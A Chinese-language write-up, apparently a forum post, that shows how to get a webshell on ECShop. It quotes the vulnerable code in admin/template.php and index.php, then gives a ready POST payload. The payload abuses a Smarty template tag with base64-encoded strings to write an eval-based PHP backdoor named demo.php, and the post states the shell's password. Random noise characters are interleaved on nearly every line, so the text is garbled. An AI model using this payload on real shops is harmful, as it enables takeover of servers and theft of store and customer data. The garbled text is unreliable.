首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板4 U4 ]& a; O: H' T" G8 a( Z
2 C" h) s3 u# [$ `
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
0 C. {- g! ~" e; c但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
8 T; |9 ~3 a! T) {. z. Uadmin/template.php
# A3 I5 b0 l6 z, \* W6 ~/ t9 f
* R5 }& ]8 q0 t z, {6 H, d: {6 J9 k1 if ($_REQUEST['act'] == 'update_library')
, K% M$ G7 D3 q4 X' K' E
3 \% q# k5 X1 T, I+ Z& L2 ! q, `) D+ \% n3 K c
, P0 q) Q- t2 i2 [9 v, L/ H
3 {
7 i0 U3 L9 T0 K; \9 t& |8 `' t: \, ~2 l
4 check_authz_json('library_manage'); 8 n' N4 C$ n* N/ ~
: X0 P! j. ~7 f' C5 o
5 ( F) U7 A; E$ d1 q. c, B$ @, q
7 H k! a' j/ r$ E
6 $html = stripslashes(json_str_iconv($_POST['html']));
/ b# r& Z9 D f# v
% b0 D: z4 f" R2 }2 P7 & t& @1 Z( T9 P: j/ v3 r3 w
. p2 ?' }. R, M. v3 [0 }
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
0 N* w0 m& m/ c7 i y
% {. d- q/ d* c3 f; Z, U9
7 X+ C/ S3 s9 g w' {8 Q& M( D
8 Z# h0 A9 N; e# P6 r- X+ a5 o6 F10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
B% }% o2 C2 X, z+ E" z5 `, T0 T/ b" J
: i$ S) \2 Q1 V9 w2 p11 3 r! w6 K3 o5 M0 n# w) A
8 B6 h9 ^" \" Z+ c5 D; M9 ?1 v12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 2 E5 l& U8 N$ E6 G; d6 E/ F- p
7 z! l J+ F5 L4 T& }- C& O13
' i B2 c6 x0 i* ~5 y" i1 v
2 k: c4 K7 Q7 B0 \ O14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 % V1 n; ]6 q. n- m) \8 D
7 J3 x$ G! e" X3 d% ~( F5 f; w
15 {
. r- y. @5 N h; [
1 Q$ J* c4 e" l+ I16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
# q2 K& Z( L/ F# d6 A. D
+ H" C2 W5 z/ W9 ^17 make_json_result('', $_LANG['update_lib_success']);
# R/ G4 X7 g) q/ i; [# h3 y' S0 n: w) I$ E( l+ f
18 } 4 A z4 u V8 b0 d1 h# n/ u/ H* {+ r
$ I$ X1 d2 E7 W9 d; t! i' C1 g/ S19 else . O+ J5 I7 g: z/ z6 y
" P+ {1 K% u8 b! L
20 { ) t9 K( | O6 H
. r; \3 ~! z" b* G2 i( Y% k
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
' l t: {. ^- \7 m* U$ [* f- q3 B$ m* A4 U, }
22 }
2 Z' @! R1 M. @; A& e! t$ s3 I1 J' w1 M) E+ x$ s$ A
23 } 3 C* ^( V: s; j8 M& n
# A3 y% ^. v' `( K/ r- w( W
那么找个比较方便调用了模板的文件
E/ M' W1 u j8 B6 k" Kindex.php
6 ~0 _4 Q1 ?7 E9 z4 c, F
! W; l" `! J) u6 e" \1 if ($act == 'cat_rec')
9 _8 q P7 @: }6 \0 S" k
, P5 l. c' B1 I! Z, n$ T/ m2 " o" r7 P( @7 }5 P* T9 q* q7 ^+ j
/ g$ F0 [, h4 S1 ]- S v. `3 {
6 z$ r# m9 I' D9 }
/ F7 ]( \' l/ f' J3 G( Y4
& C2 ~5 z" x* t1 E! {; x2 W X( {$ H; s! j
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 4 A% `8 }( F) s/ f) ]8 N
: [1 ~ M# m* L' q+ U; O4 w6
+ U) c0 r+ n; c/ L2 _8 K `. a! R; r: e P7 d$ Y. E/ H
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
7 z% x8 L- H# O4 W8 x+ S% o" B5 j4 x2 `- C
8 a2 q; z3 r& y' c' W; N" f
0 G. _% b: o2 A$ j+ j* U8 U2 k9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 8 M9 V. p! ~ X) P/ E; {/ z
8 X9 P8 u* B X' z10 . ^: f/ h" q2 u/ r: d- K
4 }6 x5 q6 a+ ]: d3 b7 Z$ v11 include_once('includes/cls_json.php');
b6 L8 l' {6 T; R& `7 m9 ?/ `% E8 a* c- i
12 ' ?4 X" l+ N6 e( z
/ ]+ i$ H* B; D: z7 \3 Q% O13 $json = new JSON;
) R$ T' V* a. U" ^7 r' W1 d5 |
& s- H5 Z4 ?: E, s. Y6 V) C {- A14 2 F( U6 M- x, _
( k; ^! ~9 A( ]+ r: R& G0 b% f15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 8 J9 Z2 d. A. E; `0 g
: Q: a* }9 a! \' A; f+ x" S16 ' U$ E4 ~1 y# y
/ u3 ~2 C- v% }) u* N+ h( l" Q17 $children = get_children($cat_id); & S) S7 A7 g7 s8 A; z6 W" \
6 {- Y V6 B9 q, e8 d
18 8 }% c5 g; g k+ d" R- f* h6 ?0 z4 T
& F0 h# b/ Q. N% V
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 * H+ @) i* }/ @ L6 L4 i
2 a/ P: |& ^3 V2 b
20
. D4 Z9 }) L9 F, Q3 c
1 j$ e* x* Q: f+ j% X21 $smarty->assign('cat_rec_sign', 1);
+ s6 ?0 p' Y/ b7 H6 ~
6 D. }8 s$ X3 ?7 T22 ' B$ e5 ]4 k ^
5 A5 O( G+ a& r6 P/ x$ ]8 T) i23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 5 v* Q3 \: A- n9 u) L$ K) R/ @
4 v9 O- T) x+ z0 w
24 % D# g6 z1 y/ {
) c7 [, [. R/ }3 L8 k25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
: l7 E- B+ i; q! D; z8 K8 g9 i. t& i% U$ ^+ _. b; Z- o7 ~
26
7 x7 T! v* m( \( m3 ~0 X) \# D$ W- u% a* ~
27 echo $rec_array[$rec_type];
( K9 }4 u4 w$ F! Y
4 g$ P. Q# u( u+ Q% m4 T }; d9 k4 ~28
: U0 ~' l* ?( t( _3 e+ r
! u; ]4 q' b7 G) \29 die($json->encode($result)); : _. m; n6 `; V3 ]* I
+ O% I8 a+ P% j8 q6 ^9 a. v30
9 W( d: ^! f( @3 A9 A4 R
9 \. B$ ^9 s) l8 T) [7 H31 } ; n: o" Q1 h q7 z. L% Y7 {2 ?
2 ? v. h7 Z' O) i7 g9 \那么就有利用方法了
2 B9 a$ c4 X# k, U. `5 y3 K& @post包到http://localhost/ec/admin/template.php?act=update_library# [ \" e, c8 L- c( W0 }
Post内容:6 I" q# G; ^, k; X6 J
5 A& ^& H( Q8 S% n
2 d9 [- O2 f2 O* v3 l& H! U
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 2 C' R2 A: q: _2 Y9 c& Y" e1 Y+ `$ p
. R% _( E+ b% F) P
然后访问http://localhost/ec/index.php?act=cat_rec
+ }9 A4 o% c2 L: Z. c1 n" r' D8 Y9 l5 @2 W6 A
shel地址:http://localhost/ec/demo.php7 l9 Z% ]( n8 r
密码c/ Z3 J( ]4 w; j# U* W6 w( p- U
u( j U" t7 ~7 \& E8 k |